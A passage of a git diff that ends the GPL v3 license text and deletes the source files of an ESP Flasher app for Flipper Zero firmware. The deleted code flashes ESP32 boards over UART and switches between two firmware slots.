applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/esp_flasher/application.fam b/applications/external/esp_flasher/application.fam deleted file mode 100644 index 1fd1c6e7a..000000000 --- a/applications/external/esp_flasher/application.fam +++ /dev/null @@ -1,29 +0,0 @@ -App( - appid="esp_flasher", - name="[ESP] ESP Flasher", - fap_version=(1, 1), - apptype=FlipperAppType.EXTERNAL, - entry_point="esp_flasher_app", - requires=["gui"], - stack_size=4 * 1024, - fap_icon="update_10px.png", - fap_category="GPIO", - fap_private_libs=[ - Lib( - name="esp-serial-flasher", - fap_include_paths=["include"], - sources=[ - "src/esp_loader.c", - "src/esp_targets.c", - "src/md5_hash.c", - "src/protocol_common.c", - "src/protocol_uart.c", - "src/slip.c", - ], - cincludes=["lib/esp-serial-flasher/private_include"], - cdefines=["SERIAL_FLASHER_INTERFACE_UART=1", "MD5_ENABLED=1"], - ), - ], - cdefines=["SERIAL_FLASHER_INTERFACE_UART=1"], - fap_icon_assets="assets", -) diff --git a/applications/external/esp_flasher/assets/Text_10x10.png b/applications/external/esp_flasher/assets/Text_10x10.png deleted file mode 100644 index 8e8a6183d..000000000 Binary files a/applications/external/esp_flasher/assets/Text_10x10.png and /dev/null differ diff --git a/applications/external/esp_flasher/esp_flasher_app.c b/applications/external/esp_flasher/esp_flasher_app.c deleted file mode 100644 index ce8fdf5a8..000000000 --- a/applications/external/esp_flasher/esp_flasher_app.c +++ /dev/null @@ -1,142 +0,0 @@ -#include "esp_flasher_app_i.h" - -#include -#include - -static bool esp_flasher_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - EspFlasherApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool esp_flasher_app_back_event_callback(void* context) { - furi_assert(context); - EspFlasherApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void esp_flasher_app_tick_event_callback(void* context) { - furi_assert(context); - EspFlasherApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -EspFlasherApp* esp_flasher_app_alloc() { - EspFlasherApp* app = malloc(sizeof(EspFlasherApp)); - - app->gui = furi_record_open(RECORD_GUI); - app->dialogs = furi_record_open(RECORD_DIALOGS); - app->storage = furi_record_open(RECORD_STORAGE); - app->notification = furi_record_open(RECORD_NOTIFICATION); - - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&esp_flasher_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, esp_flasher_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, esp_flasher_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, esp_flasher_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - EspFlasherAppViewVarItemList, - variable_item_list_get_view(app->var_item_list)); - - app->text_box = text_box_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, EspFlasherAppViewConsoleOutput, text_box_get_view(app->text_box)); - app->text_box_store = furi_string_alloc(); - furi_string_reserve(app->text_box_store, ESP_FLASHER_TEXT_BOX_STORE_SIZE); - - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, EspFlasherAppViewWidget, widget_get_view(app->widget)); - - // Submenu - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, EspFlasherAppViewSubmenu, submenu_get_view(app->submenu)); - - app->flash_worker_busy = false; - - app->reset = false; - app->boot = false; - app->quickflash = false; - - scene_manager_next_scene(app->scene_manager, EspFlasherSceneStart); - - return app; -} - -void esp_flasher_make_app_folder(EspFlasherApp* app) { - furi_assert(app); - - if(!storage_simply_mkdir(app->storage, ESP_APP_FOLDER)) { - dialog_message_show_storage_error(app->dialogs, "Cannot create\napp folder"); - } -} - -void esp_flasher_app_free(EspFlasherApp* app) { - furi_assert(app); - - // Views - view_dispatcher_remove_view(app->view_dispatcher, EspFlasherAppViewVarItemList); - view_dispatcher_remove_view(app->view_dispatcher, EspFlasherAppViewConsoleOutput); - view_dispatcher_remove_view(app->view_dispatcher, EspFlasherAppViewWidget); - view_dispatcher_remove_view(app->view_dispatcher, EspFlasherAppViewSubmenu); - - widget_free(app->widget); - text_box_free(app->text_box); - furi_string_free(app->text_box_store); - submenu_free(app->submenu); - variable_item_list_free(app->var_item_list); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - esp_flasher_uart_free(app->uart); - - // Close records - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_DIALOGS); - furi_record_close(RECORD_NOTIFICATION); - - free(app); -} - -int32_t esp_flasher_app(void* p) { - UNUSED(p); - - uint8_t attempts = 0; - bool otg_was_enabled = furi_hal_power_is_otg_enabled(); - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } - furi_delay_ms(200); - - EspFlasherApp* esp_flasher_app = esp_flasher_app_alloc(); - - esp_flasher_make_app_folder(esp_flasher_app); - - esp_flasher_app->uart = esp_flasher_usart_init(esp_flasher_app); - - view_dispatcher_run(esp_flasher_app->view_dispatcher); - - esp_flasher_app_free(esp_flasher_app); - - if(furi_hal_power_is_otg_enabled() && !otg_was_enabled) { - furi_hal_power_disable_otg(); - } - - return 0; -} diff --git a/applications/external/esp_flasher/esp_flasher_app.h b/applications/external/esp_flasher/esp_flasher_app.h deleted file mode 100644 index 3a30d16c0..000000000 --- a/applications/external/esp_flasher/esp_flasher_app.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -#define ESP_FLASHER_APP_VERSION "v1.2" - -typedef struct EspFlasherApp EspFlasherApp; - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esp_flasher/esp_flasher_app_i.h b/applications/external/esp_flasher/esp_flasher_app_i.h deleted file mode 100644 index e67f8a50f..000000000 --- a/applications/external/esp_flasher/esp_flasher_app_i.h +++ /dev/null @@ -1,92 +0,0 @@ -//** Includes sniffbt and sniffskim for compatible ESP32-WROOM hardware. -// esp_flasher_scene_start.c also changed **// -#pragma once - -#include "esp_flasher_app.h" -#include "scenes/esp_flasher_scene.h" -#include "esp_flasher_custom_event.h" -#include "esp_flasher_uart.h" -#include "file/sequential_file.h" - -#include -#include -#include -#include -#include -#include -#include - -#include "esp_flasher_icons.h" -#include -#include -#include -#include -#include - -#define ESP_FLASHER_TEXT_BOX_STORE_SIZE (4096) - -#define ESP_APP_FOLDER_USER "apps_data/esp_flasher" -#define ESP_APP_FOLDER EXT_PATH(ESP_APP_FOLDER_USER) - -typedef enum SelectedFlashOptions { - SelectedFlashS3Mode, - SelectedFlashBoot, - SelectedFlashPart, - SelectedFlashNvs, - SelectedFlashBootApp0, - SelectedFlashAppA, - SelectedFlashAppB, - SelectedFlashCustom, - NUM_FLASH_OPTIONS -} SelectedFlashOptions; - -typedef enum { - SwitchNotSet, - SwitchToFirmwareA, - SwitchToFirmwareB, -} SwitchFirmware; - -struct EspFlasherApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - - FuriString* text_box_store; - size_t text_box_store_strlen; - TextBox* text_box; - Storage* storage; - DialogsApp* dialogs; - NotificationApp* notification; - - VariableItemList* var_item_list; - Widget* widget; - Submenu* submenu; - - EspFlasherUart* uart; - - bool reset; - bool boot; - bool quickflash; - - SwitchFirmware switch_fw; - - bool selected_flash_options[NUM_FLASH_OPTIONS]; - int num_selected_flash_options; - char bin_file_path_boot[100]; - char bin_file_path_part[100]; - char bin_file_path_nvs[100]; - char bin_file_path_boot_app0[100]; - char bin_file_path_app_a[100]; - char bin_file_path_app_b[100]; - char bin_file_path_custom[100]; - FuriThread* flash_worker; - bool flash_worker_busy; -}; - -typedef enum { - EspFlasherAppViewVarItemList, - EspFlasherAppViewConsoleOutput, - EspFlasherAppViewTextInput, - EspFlasherAppViewWidget, - EspFlasherAppViewSubmenu, -} EspFlasherAppView; diff --git a/applications/external/esp_flasher/esp_flasher_custom_event.h b/applications/external/esp_flasher/esp_flasher_custom_event.h deleted file mode 100644 index 07d362a6e..000000000 --- a/applications/external/esp_flasher/esp_flasher_custom_event.h +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once - -typedef enum { - EspFlasherEventRefreshConsoleOutput = 0, - EspFlasherEventStartConsole, - EspFlasherEventStartKeyboard, - EspFlasherEventStartFlasher, - EspFlasherEventRefreshSubmenu -} EspFlasherCustomEvent; diff --git a/applications/external/esp_flasher/esp_flasher_uart.c b/applications/external/esp_flasher/esp_flasher_uart.c deleted file mode 100644 index b4b7928b8..000000000 --- a/applications/external/esp_flasher/esp_flasher_uart.c +++ /dev/null @@ -1,109 +0,0 @@ -#include "esp_flasher_app_i.h" -#include "esp_flasher_uart.h" -#include - -#define UART_CH \ - (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) -#define BAUDRATE (115200) - -struct EspFlasherUart { - EspFlasherApp* app; - FuriHalUartId channel; - FuriThread* rx_thread; - FuriStreamBuffer* rx_stream; - uint8_t rx_buf[RX_BUF_SIZE + 1]; - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context); -}; - -typedef enum { - WorkerEvtStop = (1 << 0), - WorkerEvtRxDone = (1 << 1), -} WorkerEvtFlags; - -void esp_flasher_uart_set_handle_rx_data_cb( - EspFlasherUart* uart, - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)) { - furi_assert(uart); - uart->handle_rx_data_cb = handle_rx_data_cb; -} - -#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone) - -void esp_flasher_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - EspFlasherUart* uart = (EspFlasherUart*)context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(uart->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone); - } -} - -static int32_t uart_worker(void* context) { - EspFlasherUart* uart = (void*)context; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - if(events & WorkerEvtStop) break; - if(events & WorkerEvtRxDone) { - size_t len = furi_stream_buffer_receive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0); - if(len > 0) { - if(uart->handle_rx_data_cb) uart->handle_rx_data_cb(uart->rx_buf, len, uart->app); - } - } - } - - furi_hal_uart_set_irq_cb(uart->channel, NULL, NULL); - furi_stream_buffer_free(uart->rx_stream); - - return 0; -} - -void esp_flasher_uart_tx(uint8_t* data, size_t len) { - furi_hal_uart_tx(UART_CH, data, len); -} - -EspFlasherUart* - esp_flasher_uart_init(EspFlasherApp* app, FuriHalUartId channel, const char* thread_name) { - EspFlasherUart* uart = malloc(sizeof(EspFlasherUart)); - - uart->app = app; - uart->channel = channel; - uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1); - uart->rx_thread = furi_thread_alloc(); - furi_thread_set_name(uart->rx_thread, thread_name); - furi_thread_set_stack_size(uart->rx_thread, 1024); - furi_thread_set_context(uart->rx_thread, uart); - furi_thread_set_callback(uart->rx_thread, uart_worker); - furi_thread_start(uart->rx_thread); - if(channel == FuriHalUartIdUSART1) { - furi_hal_console_disable(); - } else if(channel == FuriHalUartIdLPUART1) { - furi_hal_uart_init(channel, BAUDRATE); - } - furi_hal_uart_set_br(channel, BAUDRATE); - furi_hal_uart_set_irq_cb(channel, esp_flasher_uart_on_irq_cb, uart); - - return uart; -} - -EspFlasherUart* esp_flasher_usart_init(EspFlasherApp* app) { - return esp_flasher_uart_init(app, UART_CH, "EspFlasherUartRxThread"); -} - -void esp_flasher_uart_free(EspFlasherUart* uart) { - furi_assert(uart); - - furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop); - furi_thread_join(uart->rx_thread); - furi_thread_free(uart->rx_thread); - - if(uart->channel == FuriHalUartIdLPUART1) { - furi_hal_uart_deinit(uart->channel); - } - furi_hal_console_enable(); - - free(uart); -} diff --git a/applications/external/esp_flasher/esp_flasher_uart.h b/applications/external/esp_flasher/esp_flasher_uart.h deleted file mode 100644 index 9710c92b3..000000000 --- a/applications/external/esp_flasher/esp_flasher_uart.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include "furi_hal.h" - -#define RX_BUF_SIZE (2048) - -typedef struct EspFlasherUart EspFlasherUart; - -void esp_flasher_uart_set_handle_rx_data_cb( - EspFlasherUart* uart, - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)); -void esp_flasher_uart_tx(uint8_t* data, size_t len); -EspFlasherUart* esp_flasher_usart_init(EspFlasherApp* app); -void esp_flasher_uart_free(EspFlasherUart* uart); diff --git a/applications/external/esp_flasher/esp_flasher_worker.c b/applications/external/esp_flasher/esp_flasher_worker.c deleted file mode 100644 index be5da85db..000000000 --- a/applications/external/esp_flasher/esp_flasher_worker.c +++ /dev/null @@ -1,417 +0,0 @@ -#include "esp_flasher_worker.h" - -FuriStreamBuffer* flash_rx_stream; // TODO make safe -EspFlasherApp* global_app; // TODO make safe -FuriTimer* timer; // TODO make - -static uint32_t _remaining_time = 0; -static void _timer_callback(void* context) { - UNUSED(context); - if(_remaining_time > 0) { - _remaining_time--; - } -} - -static esp_loader_error_t _flash_file(EspFlasherApp* app, char* filepath, uint32_t addr) { - // TODO cleanup - esp_loader_error_t err; - static uint8_t payload[1024]; - File* bin_file = storage_file_alloc(app->storage); - - char user_msg[256]; - - // open file - if(!storage_file_open(bin_file, filepath, FSAM_READ, FSOM_OPEN_EXISTING)) { - storage_file_close(bin_file); - storage_file_free(bin_file); - dialog_message_show_storage_error(app->dialogs, "Cannot open file"); - return ESP_LOADER_ERROR_FAIL; - } - - uint64_t size = storage_file_size(bin_file); - - loader_port_debug_print("Erasing flash...this may take a while\n"); - err = esp_loader_flash_start(addr, size, sizeof(payload)); - if(err != ESP_LOADER_SUCCESS) { - storage_file_close(bin_file); - storage_file_free(bin_file); - snprintf(user_msg, sizeof(user_msg), "Erasing flash failed with error %d\n", err); - loader_port_debug_print(user_msg); - return err; - } - - loader_port_debug_print("Start programming\n"); - uint64_t last_updated = size; - while(size > 0) { - if((last_updated - size) > 50000) { - // inform user every 50k bytes - // TODO: draw a progress bar next update - snprintf(user_msg, sizeof(user_msg), "%llu bytes left.\n", size); - loader_port_debug_print(user_msg); - last_updated = size; - } - size_t to_read = MIN(size, sizeof(payload)); - uint16_t num_bytes = storage_file_read(bin_file, payload, to_read); - err = esp_loader_flash_write(payload, num_bytes); - if(err != ESP_LOADER_SUCCESS) { - snprintf(user_msg, sizeof(user_msg), "Packet could not be written! Error: %u\n", err); - storage_file_close(bin_file); - storage_file_free(bin_file); - loader_port_debug_print(user_msg); - return err; - } - - size -= num_bytes; - } - - loader_port_debug_print("Finished programming\n"); - - // TODO verify - - storage_file_close(bin_file); - storage_file_free(bin_file); - - return ESP_LOADER_SUCCESS; -} - -// This in-app FW switch "exploits" the otadata (boot_app0) -// - the first four bytes of each array are the counter and the last four bytes are just a CRC of that counter -// - the bootloader will just boot whichever app has the highest counter in the otadata partition -// so we'll just pick 1 for A, and then B will use either 0 or 2 depending on whether it's the slot in use - -#define MAGIC_PAYLOAD_SIZE (32) - -const uint8_t magic_payload_app_a[MAGIC_PAYLOAD_SIZE] = {0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0x9a, 0x98, 0x43, 0x47}; - -const uint8_t magic_payload_app_b_unset[MAGIC_PAYLOAD_SIZE] = { - 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; - -const uint8_t magic_payload_app_b_set[MAGIC_PAYLOAD_SIZE] = { - 0x02, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x74, 0x37, 0xf6, 0x55}; - -// return true if "switching" fw selected instead of flashing new fw -// (this does not indicate success) -static bool _switch_fw(EspFlasherApp* app) { - if(app->switch_fw == SwitchNotSet) { - return false; - } - - esp_loader_error_t err; - char user_msg[256]; - - loader_port_debug_print("Preparing to set flags for firmware A\n"); - err = esp_loader_flash_start( - ESP_ADDR_BOOT_APP0 + ESP_ADDR_OTADATA_OFFSET_APP_A, - MAGIC_PAYLOAD_SIZE, - MAGIC_PAYLOAD_SIZE); - if(err != ESP_LOADER_SUCCESS) { - snprintf(user_msg, sizeof(user_msg), "Erasing flash failed with error %d\n", err); - loader_port_debug_print(user_msg); - return true; - } - - loader_port_debug_print("Setting flags for firmware A\n"); - const uint8_t* which_payload_app_a = magic_payload_app_a; - err = esp_loader_flash_write((void*)which_payload_app_a, MAGIC_PAYLOAD_SIZE); - if(err != ESP_LOADER_SUCCESS) { - snprintf(user_msg, sizeof(user_msg), "Packet could not be written! Error: %u\n", err); - loader_port_debug_print(user_msg); - return true; - } - - loader_port_debug_print("Preparing to set flags for firmware B\n"); - err = esp_loader_flash_start( - ESP_ADDR_BOOT_APP0 + ESP_ADDR_OTADATA_OFFSET_APP_B, - MAGIC_PAYLOAD_SIZE, - MAGIC_PAYLOAD_SIZE); - if(err != ESP_LOADER_SUCCESS) { - snprintf(user_msg, sizeof(user_msg), "Erasing flash failed with error %d\n", err); - loader_port_debug_print(user_msg); - return true; - } - - loader_port_debug_print("Setting flags for firmware B\n"); - const uint8_t* which_payload_app_b = - (app->switch_fw == SwitchToFirmwareB ? magic_payload_app_b_set : - magic_payload_app_b_unset); - err = esp_loader_flash_write((void*)which_payload_app_b, MAGIC_PAYLOAD_SIZE); - if(err != ESP_LOADER_SUCCESS) { - snprintf(user_msg, sizeof(user_msg), "Packet could not be written! Error: %u\n", err); - loader_port_debug_print(user_msg); - return true; - } - - loader_port_debug_print("Finished programming\n"); - return true; -} - -typedef struct { - SelectedFlashOptions selected; - const char* description; - char* path; - uint32_t addr; -} FlashItem; - -static void _flash_all_files(EspFlasherApp* app) { - esp_loader_error_t err; - const int num_steps = app->num_selected_flash_options; - -#define NUM_FLASH_ITEMS 7 - FlashItem items[NUM_FLASH_ITEMS] = { - {SelectedFlashBoot, - "bootloader", - app->bin_file_path_boot, - app->selected_flash_options[SelectedFlashS3Mode] ? ESP_ADDR_BOOT_S3 : ESP_ADDR_BOOT}, - {SelectedFlashPart, "partition table", app->bin_file_path_part, ESP_ADDR_PART}, - {SelectedFlashNvs, "NVS", app->bin_file_path_nvs, ESP_ADDR_NVS}, - {SelectedFlashBootApp0, "boot_app0", app->bin_file_path_boot_app0, ESP_ADDR_BOOT_APP0}, - {SelectedFlashAppA, "firmware A", app->bin_file_path_app_a, ESP_ADDR_APP_A}, - {SelectedFlashAppB, "firmware B", app->bin_file_path_app_b, ESP_ADDR_APP_B}, - {SelectedFlashCustom, "custom data", app->bin_file_path_custom, 0x0}, - /* if you add more entries, update NUM_FLASH_ITEMS above! */ - }; - - char user_msg[256]; - - int current_step = 1; - for(FlashItem* item = &items[0]; item < &items[NUM_FLASH_ITEMS]; ++item) { - if(app->selected_flash_options[item->selected]) { - snprintf( - user_msg, - sizeof(user_msg), - "Flashing %s (%d/%d) to address 0x%lx\n", - item->description, - current_step++, - num_steps, - item->addr); - loader_port_debug_print(user_msg); - err = _flash_file(app, item->path, item->addr); - if(err) { - break; - } - } - } -} - -static int32_t esp_flasher_flash_bin(void* context) { - EspFlasherApp* app = (void*)context; - esp_loader_error_t err; - - app->flash_worker_busy = true; - - // alloc global objects - flash_rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1); - timer = furi_timer_alloc(_timer_callback, FuriTimerTypePeriodic, app); - - // turn on flipper blue LED for duration of flash - notification_message(app->notification, &sequence_set_only_blue_255); - - loader_port_debug_print("Connecting\n"); - esp_loader_connect_args_t connect_config = ESP_LOADER_CONNECT_DEFAULT(); - err = esp_loader_connect(&connect_config); - if(err != ESP_LOADER_SUCCESS) { - char err_msg[256]; - snprintf( - err_msg, - sizeof(err_msg), - "Cannot connect to target. Error: %u\nMake sure the device is in bootloader/reflash mode, then try again.\n", - err); - loader_port_debug_print(err_msg); - } - -#if 0 // still getting packet drops with this - // higher BR - if(!err) { - loader_port_debug_print("Increasing speed for faster flash\n"); - err = esp_loader_change_transmission_rate(230400); - if (err != ESP_LOADER_SUCCESS) { - char err_msg[256]; - snprintf( - err_msg, - sizeof(err_msg), - "Cannot change transmission rate. Error: %u\n", - err); - loader_port_debug_print(err_msg); - } - furi_hal_uart_set_br(FuriHalUartIdUSART1, 230400); - } -#endif - - if(!err) { - loader_port_debug_print("Connected\n"); - if(!_switch_fw(app)) { - _flash_all_files(app); - } - app->switch_fw = SwitchNotSet; -#if 0 - loader_port_debug_print("Restoring transmission rate\n"); - furi_hal_uart_set_br(FuriHalUartIdUSART1, 115200); -#endif - loader_port_debug_print( - "Done flashing. Please reset the board manually if it doesn't auto-reset.\n"); - - // auto-reset for supported boards - loader_port_reset_target(); - - // short buzz to alert user - notification_message(app->notification, &sequence_set_vibro_on); - loader_port_delay_ms(50); - notification_message(app->notification, &sequence_reset_vibro); - } - - // turn off flipper blue LED - notification_message(app->notification, &sequence_reset_blue); - - // done - app->flash_worker_busy = false; - app->quickflash = false; - - // cleanup - furi_stream_buffer_free(flash_rx_stream); - flash_rx_stream = NULL; - furi_timer_free(timer); - return 0; -} - -static void _initDTR(void) { - furi_hal_gpio_init(&gpio_ext_pc3, GpioModeOutputPushPull, GpioPullDown, GpioSpeedVeryHigh); -} - -static void _initRTS(void) { - furi_hal_gpio_init(&gpio_ext_pb2, GpioModeOutputPushPull, GpioPullDown, GpioSpeedVeryHigh); -} - -static void _setDTR(bool state) { - furi_hal_gpio_write(&gpio_ext_pc3, state); -} - -static void _setRTS(bool state) { - furi_hal_gpio_write(&gpio_ext_pb2, state); -} - -static int32_t esp_flasher_reset(void* context) { - EspFlasherApp* app = (void*)context; - - app->flash_worker_busy = true; - - _setDTR(false); - _initDTR(); - _setRTS(false); - _initRTS(); - - if(app->reset) { - loader_port_debug_print("Resetting board\n"); - loader_port_reset_target(); - } else if(app->boot) { - loader_port_debug_print("Entering bootloader\n"); - loader_port_enter_bootloader(); - } - - // done - app->flash_worker_busy = false; - app->reset = false; - app->boot = false; - - if(app->quickflash) { - esp_flasher_flash_bin(app); - } - - return 0; -} - -void esp_flasher_worker_start_thread(EspFlasherApp* app) { - global_app = app; - - app->flash_worker = furi_thread_alloc(); - furi_thread_set_name(app->flash_worker, "EspFlasherFlashWorker"); - furi_thread_set_stack_size(app->flash_worker, 2048); - furi_thread_set_context(app->flash_worker, app); - if(app->reset || app->boot) { - furi_thread_set_callback(app->flash_worker, esp_flasher_reset); - } else { - furi_thread_set_callback(app->flash_worker, esp_flasher_flash_bin); - } - furi_thread_start(app->flash_worker); -} - -void esp_flasher_worker_stop_thread(EspFlasherApp* app) { - furi_thread_join(app->flash_worker); - furi_thread_free(app->flash_worker); -} - -esp_loader_error_t loader_port_read(uint8_t* data, uint16_t size, uint32_t timeout) { - size_t read = furi_stream_buffer_receive(flash_rx_stream, data, size, pdMS_TO_TICKS(timeout)); - if(read < size) { - return ESP_LOADER_ERROR_TIMEOUT; - } else { - return ESP_LOADER_SUCCESS; - } -} - -esp_loader_error_t loader_port_write(const uint8_t* data, uint16_t size, uint32_t timeout) { - UNUSED(timeout); - esp_flasher_uart_tx((uint8_t*)data, size); - return ESP_LOADER_SUCCESS; -} - -void loader_port_reset_target(void) { - _setDTR(true); - loader_port_delay_ms(SERIAL_FLASHER_RESET_HOLD_TIME_MS); - _setDTR(false); -} - -void loader_port_enter_bootloader(void) { - // adapted from custom usb-jtag-serial reset in esptool - // (works on official wifi dev board) - _setDTR(true); - loader_port_delay_ms(SERIAL_FLASHER_RESET_HOLD_TIME_MS); - _setRTS(true); - _setDTR(false); - loader_port_delay_ms(SERIAL_FLASHER_BOOT_HOLD_TIME_MS); - _setRTS(false); -} - -void loader_port_delay_ms(uint32_t 